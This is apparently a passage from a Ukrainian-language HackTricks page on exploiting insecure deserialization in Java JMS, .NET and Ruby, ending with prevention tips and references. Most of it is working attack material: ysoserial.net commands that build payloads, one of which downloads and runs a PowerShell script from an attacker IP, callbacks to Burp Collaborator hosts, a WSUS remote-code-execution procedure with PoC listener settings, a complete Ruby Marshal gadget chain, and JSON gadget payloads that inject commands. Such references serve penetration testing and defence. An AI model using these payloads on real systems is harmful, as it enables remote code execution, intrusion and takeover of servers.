Отже, по суті існує багато сервісів, що використовують JMS небезпечним чином. Тому, якщо у вас є достатні привілеї для надсилання повідомлень цим сервісам (зазвичай потрібні дійсні облікові дані), ви зможете відправити malicious objects serialized, які будуть deserialized споживачем/підписником.
Це означає, що при такій експлуатації всі clients that are going to use that message will get infected.
Потрібно пам’ятати, що навіть якщо сервіс уразливий (бо небезпечно deserializing user input), вам все одно потрібно знайти валідні gadgets для експлуатації уразливості.
Інструмент JMET був створений, щоб підключатися та атакувати ці сервіси, відправляючи кілька malicious objects serialized з використанням відомих gadgets. Ці експлойти спрацюють, якщо сервіс досі уразливий і якщо будь-який із використаних gadgets присутній у вразливому застосунку.
References
-
Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET доповідь: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
У контексті .Net експлойти через deserialization працюють подібно до тих, що зустрічаються в Java, коли gadgets використовуються для виконання певного коду під час deserialization об’єкта.
Fingerprint
WhiteBox
Слід перевірити вихідний код на наявність:
TypeNameHandlingJavaScriptTypeResolver
Особливу увагу слід приділити serializers, які дозволяють тип визначатися змінною під контролем користувача.
BlackBox
Пошук повинен бути спрямований на Base64 закодований рядок AAEAAAD///// або будь-який подібний шаблон, який може пройти deserialization на сервері, надаючи контроль над типом, що буде deserialized. Це може включати, але не обмежується, JSON або XML структурами з TypeObject або $type.
ysoserial.net
У цьому випадку ви можете використовувати інструмент ysoserial.net для створення deserialization експлойтів. Після завантаження репозиторію git слід скомпілювати інструмент, наприклад, за допомогою Visual Studio.
Якщо ви хочете дізнатися, як саме ysoserial.net створює свій експлойт, ви можете переглянути цю сторінку, де пояснюється ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.
Основні опції ysoserial.net: --gadget, --formatter, --output та --plugin.
--gadgetвикористовується для вказівки gadget, який потрібно зловживати (вказати class/function, що буде зловживатись під час deserialization для виконання команд).--formatter, використовується для вказівки методу серіалізації експлойту (потрібно знати, яку бібліотеку використовує бекенд для десеріалізації payload і використовувати ту ж саму для серіалізації).--outputвказує, чи хочете ви експлойт у raw чи base64 форматі. Зверніть увагу, що ysoserial.net закодовує payload з використанням UTF-16LE (кодування за замовчуванням у Windows), тому якщо ви отримаєте raw і просто закодуєте його з Linux-консолі, можуть виникнути проблеми з сумісністю кодувань, що перешкоджатимуть коректній роботі експлойту (в HTB JSON коробці payload працював і в UTF-16LE, і в ASCII, але це не гарантує, що так буде завжди).--pluginysoserial.net підтримує плагіни для створення експлойтів для специфічних фреймворків, наприклад ViewState
More ysoserial.net parameters
--minifyзабезпечить менший payload (якщо можливо)--raf -f Json.Net -c "anything"це покаже всі gadgets, які можна використати з вказаним formatter (Json.Netв цьому випадку)--sf xmlви можете вказати gadget (-g) і ysoserial.net буде шукати форматери, що містять “xml” (без врахування регістру)
ysoserial examples to create exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net має також дуже цікавий параметр, який допомагає краще зрозуміти, як працює кожен exploit: --test
Якщо ви вкажете цей параметр, ysoserial.net спробує exploit локально, тож ви можете перевірити, чи ваш payload працюватиме правильно.
Цей параметр корисний, тому що, якщо ви переглянете код, ви знайдете фрагменти коду, схожі на наступний (з ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Це означає, що щоб протестувати exploit, код викличе serializersHelper.JsonNet_deserialize
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
У наведений раніше код вразливий до створеного exploit. Тому якщо ви знайдете щось подібне в .Net застосунку, це означає, що ймовірно й сам застосунок також вразливий.
Отже параметр --test дозволяє нам зрозуміти які частини коду є вразливими до desrialization exploit, який може створити ysoserial.net.
ViewState
Ознайомтеся з this POST about how to try to exploit the __ViewState parameter of .Net щоб execute arbitrary code. Якщо ви вже знаєте the secrets, що використовуються на машині жертви, прочитайте цей пост, щоб дізнатися, як execute code.
Приклад у реальному житті: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE
- Затронуті endpoints:
/SimpleAuthWebService/SimpleAuth.asmx→ GetCookie() AuthorizationCookie decrypted then deserialized with BinaryFormatter./ReportingWebService.asmx→ ReportEventBatch та пов’язані SOAP ops, які потрапляють у SoapFormatter sinks; base64 gadget обробляється, коли консоль WSUS приймає подію.- Причина: attacker‑controlled bytes потрапляють у legacy .NET formatters (BinaryFormatter/SoapFormatter) без строгих allow‑lists/binders, тому gadget chains виконуються під обліковим записом служби WSUS (зазвичай SYSTEM).
Мінімальна exploitation (Reporting path):
- Згенеруйте .NET gadget за допомогою ysoserial.net (BinaryFormatter або SoapFormatter) та виведіть base64, наприклад:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"
# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
- Сформуйте SOAP для
ReportEventBatch, вставивши base64 gadget, і POST-ом надішліть його на/ReportingWebService.asmx. - Коли адміністратор відкриває консоль WSUS, подія десеріалізується і gadget спрацьовує (RCE як SYSTEM).
AuthorizationCookie / GetCookie()
- Підроблений AuthorizationCookie може бути прийнятий, розшифрований і переданий у BinaryFormatter sink, що дозволяє pre‑auth RCE, якщо досяжний.
Public PoC (tecxx/CVE-2025-59287-WSUS) parameters:
$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"
See Windows Local Privilege Escalation – WSUS
Запобігання
Щоб зменшити ризики, пов’язані з десеріалізацією в .Net:
- Уникайте дозволяти потокам даних визначати їхні типи об’єктів. Використовуйте
DataContractSerializerабоXmlSerializer, коли це можливо. - Для
JSON.NetвстановітьTypeNameHandlingвNone:TypeNameHandling = TypeNameHandling.None - Уникайте використання
JavaScriptSerializerзJavaScriptTypeResolver. - Обмежте типи, які можна десеріалізувати, розуміючи властиві ризики типів .Net, таких як
System.IO.FileInfo, який може змінювати властивості файлів на сервері, потенційно призводячи до атак типу denial of service. - Будьте обережні з типами, що мають ризиковані властивості, наприклад
System.ComponentModel.DataAnnotations.ValidationExceptionз її властивістюValue, яку можна використати. - Безпечно контролюйте інстанціювання типів, щоб запобігти впливу атакуючих на процес десеріалізації — це може зробити уразливими навіть
DataContractSerializerабоXmlSerializer. - Реалізуйте біллістинг за допомогою кастомного
SerializationBinderдляBinaryFormatterтаJSON.Net. - Слідкуйте за відомими небезпечними десеріалізаційними gadgets у .Net та переконайтеся, що десеріалізатори не створюють такі типи.
- Ізолюйте потенційно ризиковий код від коду з доступом до інтернету, щоб уникнути підстав для експозиції відомих gadgets, таких як
System.Windows.Data.ObjectDataProviderу WPF-додатках, до недовірених джерел даних.
Посилання
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, доповідь: https://www.youtube.com/watch?v=oUAeWhW5b8c та слайди: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
У Ruby серіалізація реалізується двома методами з бібліотеки marshal. Перший метод, відомий як dump, використовується для перетворення об’єкта в байтовий потік — процес, який називають серіалізацією. Натомість другий метод, load, застосовується для відновлення об’єкта з байтового потоку — процес десеріалізації.
Для захисту серіалізованих об’єктів Ruby використовує HMAC (Hash-Based Message Authentication Code), що забезпечує цілісність та автентичність даних. Ключ, який використовується для цього, зберігається в одному з таких місць:
config/environment.rbconfig/initializers/secret_token.rbconfig/secrets.yml/proc/self/environ
Ruby 2.X generic deserialization to RCE gadget chain (докладніше: https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Інший RCE chain для експлуатації Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() method
Як пояснено в цей звіт про вразливість, якщо деякий несанітизований ввід користувача потрапляє до методу .send() об’єкта Ruby, цей метод дозволяє викликати будь-який інший метод об’єкта з будь-якими параметрами.
Наприклад, виклик eval з Ruby-кодом як другим параметром дозволить виконати довільний код:
<Object>.send('eval', '<user input with Ruby code>') == RCE
Більше того, якщо тільки один параметр .send() контролюється зловмисником, як згадувалося в попередньому звіті, можна викликати будь-який метод об’єкта, який не потребує аргументів або чиї аргументи мають значення за замовчуванням.\
Для цього можна перелічити всі методи об’єкта, щоб знайти деякі цікаві методи, які відповідають цим вимогам.
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
Перегляньте, як це може бути можливим pollute a Ruby class and abuse it in here.
Ruby _json pollution
Коли при відправці в body деякі значення, що не є hashabled, наприклад масив, вони будуть додані у новий ключ під назвою _json. Однак attacker також може встановити в body значення _json з довільними значеннями. Тоді, якщо backend, наприклад, перевіряє правдивість параметра, але також використовує параметр _json для виконання якоїсь дії, може бути здійснено authorisation bypass.
Детальніше див. на Ruby _json pollution page.
Інші бібліотеки
Цю техніку запозичено from this blog post.
Існують інші бібліотеки Ruby, які можуть використовуватися для serialize об’єктів і, отже, можуть бути зловживані для отримання RCE під час insecure deserialization. Нижче наведена таблиця показує деякі з цих бібліотек та метод, який викликається в завантаженому класі під час unserialization (функція, яку використовують, щоб отримати RCE):
| Бібліотека | Вхідні дані | Метод запуску всередині класу |
| Marshal (Ruby) | Binary | _load |
| Oj | JSON | hash (class needs to be put into hash(map) as key) |
| Ox | XML | hash (class needs to be put into hash(map) as key) |
| Psych (Ruby) | YAML | hash (class needs to be put into hash(map) as key)init_with |
| JSON (Ruby) | JSON | json_create ([see notes regarding json_create at end](#table-vulnerable-sinks)) |
Базовий приклад:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
У випадку спроби зловживати Oj вдалося знайти gadget class, який всередині своєї функції hash викликає to_s, що викликає spec, що викликає fetch_path, яку можна змусити звертатися до випадкового URL — це дає відмінний детектор таких unsanitized deserialization vulnerabilities.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
Крім того, виявлено, що попередня техніка також створює в системі папку, яка потрібна для зловживання іншим gadget, щоб перетворити це на повний RCE за допомогою чогось на кшталт:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Check for more details in the original post.
Кешування Bootsnap
Насправді це не зовсім deserialization vuln, але гарний трюк, щоб зловживати кешуванням Bootsnap і отримати RCE з Rails-додатку при наявності arbitrary file write (знайдіть повний original post in here).
Нижче — коротке резюме кроків, детально описаних у статті, для експлуатації вразливості arbitrary file write через зловживання Bootsnap caching:
-
Identify the Vulnerability and Environment
Функціонал завантаження файлів у Rails-додатку дозволяє атакуючому довільно записувати файли. Хоча додаток запускається з обмеженнями (лише певні каталоги типу tmp доступні для запису через non-root користувача в Docker), це все одно дозволяє записувати в каталог кешу Bootsnap (типово під tmp/cache/bootsnap).
-
Understand Bootsnap’s Cache Mechanism
Bootsnap пришвидшує завантаження Rails, кешуючи скомпільований Ruby-код, YAML і JSON файли. Він зберігає кеш-файли, які містять заголовок cache key (з полями як-от Ruby version, file size, mtime, compile options тощо), за яким слідує скомпільований код. Цей заголовок використовується для валідації кешу під час старту додатку.
-
Gather File Metadata
Атакуючий спочатку обирає цільовий файл, що ймовірно завантажується під час старту Rails (наприклад, set.rb з стандартної бібліотеки Ruby). Виконуючи Ruby-код всередині контейнера, вони витягують критичні метадані (такі як RUBY_VERSION, RUBY_REVISION, size, mtime і compile_option). Ці дані потрібні для створення дійсного cache key.
-
Compute the Cache File Path
Відтворивши FNV-1a 64-bit hash механізм Bootsnap, визначається правильний шлях до кеш-файлу. Цей крок гарантує, що шкідливий кеш-файл буде розміщений саме там, де Bootsnap його очікує (наприклад, під tmp/cache/bootsnap/compile-cache-iseq/).
-
Craft the Malicious Cache File
Атакуючий готує payload, який:
- Виконує довільні команди (наприклад, запуск id для показу інформації про процес).
- Видаляє шкідливий кеш після виконання, щоб запобігти рекурсивній експлуатації.
- Завантажує оригінальний файл (наприклад, set.rb), щоб уникнути краху додатку.
Цей payload компілюється в бінарний Ruby-код і конкатенується з ретельно складеним заголовком cache key (використовуючи зібрані раніше метадані та правильний номер версії Bootsnap).
-
Overwrite and Trigger Execution
Використовуючи arbitrary file write вразливість, атакуючий записує підготовлений кеш-файл у обчислене місце. Далі вони тригерять рестарт сервера (наприклад, записом у tmp/restart.txt, який моніторить Puma). Під час рестарту, коли Rails require-ить цільовий файл, шкідливий кеш-файл завантажується, що призводить до remote code execution (RCE).
Експлуатація Ruby Marshal на практиці (оновлено)
Розглядайте будь-який шлях, де недовірені байти потрапляють у Marshal.load/marshal_load як джерело RCE. Marshal реконструює довільні графи об’єктів і викликає callback-и бібліотек/гемів під час матеріалізації.
- Мінімальний вразливий шлях коду Rails:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- Поширені класи gadget, що зустрічаються в реальних ланцюжках:
Gem::SpecFetcher,Gem::Version,Gem::RequestSet::Lockfile,Gem::Resolver::GitSpecification,Gem::Source::Git. - Типовий маркер побічного ефекту, вбудований у payloads (виконується під час unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
Де це виявляється в реальних додатках:
- Rails cache stores і сховища сесій, які історично використовують Marshal
- Бекенди фонових задач та файлові сховища об’єктів
- Будь-яка власна персистенція або передача бінарних blob-об’єктів
Індустріалізоване виявлення gadget-ланцюжків:
- Використовуйте grep для пошуку конструкторів,
hash,_load,init_withабо методів з побічними ефектами, які викликаються під час unmarshal - Використовуйте CodeQL’s Ruby unsafe deserialization queries для трасування джерел → стоків і виявлення gadget-ланцюжків
- Перевіряйте за допомогою публічних мультиформатних PoCs (JSON/XML/YAML/Marshal)
References
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
- OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
- PoC – tecxx/CVE-2025-59287-WSUS
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
HackTricks

